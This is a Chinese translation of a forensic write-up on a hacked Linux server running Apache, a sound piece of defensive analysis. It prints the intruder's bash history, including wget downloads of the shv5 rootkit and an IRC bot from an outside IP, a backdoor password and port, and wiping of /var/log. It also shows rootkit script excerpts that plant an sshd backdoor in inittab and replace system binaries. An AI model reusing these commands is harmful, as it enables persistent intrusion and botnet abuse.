原文出处: lars strand 译文出处: freebuf
最近有个朋友让我去帮他看一下他的linux服务器.说是apache启动不了,有很多诡异的情况.后来证明绝不是apache启动不了这么简单.
登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:
1 2 3 | lars@server1:~$ ls
ls : invalid option -- h
Try ` ls --help' for more information. |
为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了.
1 2 3 4 5 6 | lars@server1:~$ alias ls
alias ls = 'ls -sh --color=auto'
lars@server1:~$ unalias ls
lars@server1:~$ ls
backup
lars@server1:~$ |
虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题.
1 2 3 4 5 6 | lars@server1:~$ sudo /etc/init .d /apache2 start
Password:
* Starting apache 2.0 web server...
(2): apache2: could not open error log file /var/log/apache2/error .log.
Unable to open logs
...fail! |
纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题.
1 2 3 4 5 6 7 8 9 | lars@server1:~$ sudo -i
Password:
root@server1:~ # ls
ls : unrecognized prefix: do
ls : unparsable value for LS_COLORS environment variable
total 44
4 . 4 .bashrc 4 . ssh
4 .. 4 .lesshst 8 .viminfo
8 .bash_history 4 .profile 4 .vimrc |
很不幸的发现,”ls”又出问题了.同样,用”alias”命令:
1 2 3 4 5 | root@server1:~ # alias ls
alias ls = 'ls -sa --color=auto'
root@server1:~ # unalias ls
root@server1:~ # ls
root@server1:~ # |
这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | root@server1:~ # cat -n .bash_history
...
340 w
341 cd /var
342 wget http: //83 .19.148.250/~matys /pliki/shv5 . tar .gz
343 tar -zxf shv5. tar .gz
344 rm -rf shv5. tar .gz
345 mv shv5 .x
346 cd .x
347 . /setup zibi.joe.149 54098
348 passwd
349 passwd
350 ps aux
351 crontab -l
352 cat /etc/issue
353 cat /etc/passwd
354 w
355 who
356 cd /usr/lib/libsh
357 ls
358 hide +
359 chmod +x hide
360 hide +
361 . /hide +
362 cd /var/ .x
363 mkdir psotnic
364 cd psotnic
365 wget http: //83 .19.148.250/~matys /pliki/psotnic0 .2.5. tar .gz
366 tar -zxf psotnic0.2.5. tar .gz
367 rm -rf psotnic0.2.5. tar .gz
368 ls
369 mv psotnic-0.2.5-linux-static-ipv6 synscan
370 . /synscan
371 vi conf
372 vi conf1
373 mv synscan smbd
374 smbd -c conf
375 ls
376 ps aux
377 ls
378 . /smbd -c conf
379 . /smbd -c conf1
380 . /smbd conf
381 . /smbd conf1
382 . /smbd -a conf conf1
383 rm -rf conf.dec
384 rm -rf conf1.dec
385 cd /usr/lib/libsh
386 . /hide +
387 exit
...
425 ssh ftp @62.101.251.166
426 w
427 ls
428 ls
429 cd /var/ .x
430 ls
431 cd psotnic/
432 ls
433 rm -rf /var/log/ *
434 exit
435 ls
436 cd /var/ .x /psotnic/
437 ls
438 vi conf2
439 . /smbd -c conf2
440 . /smbd conf2
441 . /smbd -a conf conf1 conf2
442 rm -rf conf2.dec
443 cd ..
444 ls
445 cd /usr/lib/libsh
446 hide +
447 . /hide +
448 exit
449 ps aux
450 cd /var/ .x
451 ls
452 ls
453 cd psotnic/
454 ls
455 cat pid.MastaH
456 kill -9 2030
457 . /synscan -a conf conf1
458 . /smbd -a conf conf1
459 cd /usr/lib/libsh
460 . /hide + |
Woht!这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵.
通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | root@server1: /var/ .x # file setup
setup: Bourne-Again shell script text executable
root@server1: /var/ .x # wc -l setup
825 setup
root@server1: /var/ .x # head -17 setup
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003
#
# greetz to:
#
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
# C00L|0, GolDenLord, Spike, zion ...
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
# [*] And all others who diserve to be here but i forgot
# [*] them at the moment !
#
# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ ! |
“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)
1 2 3 4 5 6 7 8 9 10 11 12 13 | mv $SSHDIR /sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
chattr +isa /sbin/ttyload
kill -9 `pidof ttyload` > /dev/null 2>&1
....
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab | grep - v ttyload| grep - v getty > /tmp/ .init1
cat /etc/inittab | grep getty > /tmp/ .init2
echo "# Loading standard ttys" >> /tmp/ .init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/ .init1 |
它也替换了一些linux的标准命令.
1 2 3 4 5 6 7 8 9 10 | # Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR /bin
BACKUP= /usr/lib/libsh/ .backup
mkdir $BACKUP
...
# ls ...
chattr -isa /bin/ls
cp /bin/ls $BACKUP
mv -f ls /bin/ls
chattr +isa /bin/ls |
这样子就可以解释为什么”ls”命令输出那么奇怪了.
“.backup”文件夹保存了被替换之前的命令程序.
1 2 3 4 5 6 7 8 9 10 | root@server1: /var/ .x # ls -l /usr/lib/libsh/.backup/
total 552
-rwxr-xr-x 1 root root 126276 Dec 24 22:58 find
-rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig
-rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls
-rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum
-rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat
-rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps
-rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree
-rwxr-xr-x 1 root root 50180 Dec 24 22:58 top |
看了一下时间戳,居然是在圣诞节.
很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:
1 2 3 4 5 6 7 8 9 10 11 | root@server1:~ # md5sum /usr/lib/libsh/.backup/ls /bin/ls eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/ .backup /ls 0a07cf554c1a74ad974416f60916b78d /bin/ls root@server1:~ # file /bin/ls /bin/ls : ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU /Linux 2.0.0, dynamically linked (uses shared libs), for GNU /Linux 2.0.0, stripped root@server1:~ # file /usr/lib/libsh/.backup/ls /usr/lib/libsh/ .backup /ls : ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU /Linux 2.6.0, dynamically linked (uses shared libs), for GNU /Linux 2.6.0, stripped |
这个rootkit(“sh5.tar.gz”)是从下面的地址下载的.
1 2 | root@server1:~ # dig +short -x 83.19.148.250
4lo.bydg.pl. |
这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.
这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)
所以”zibi.joe.149″是后门的密码,”54098″是端口号.这是一个来自ssh.com的就版本的sshd.测试截图如下:
安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的.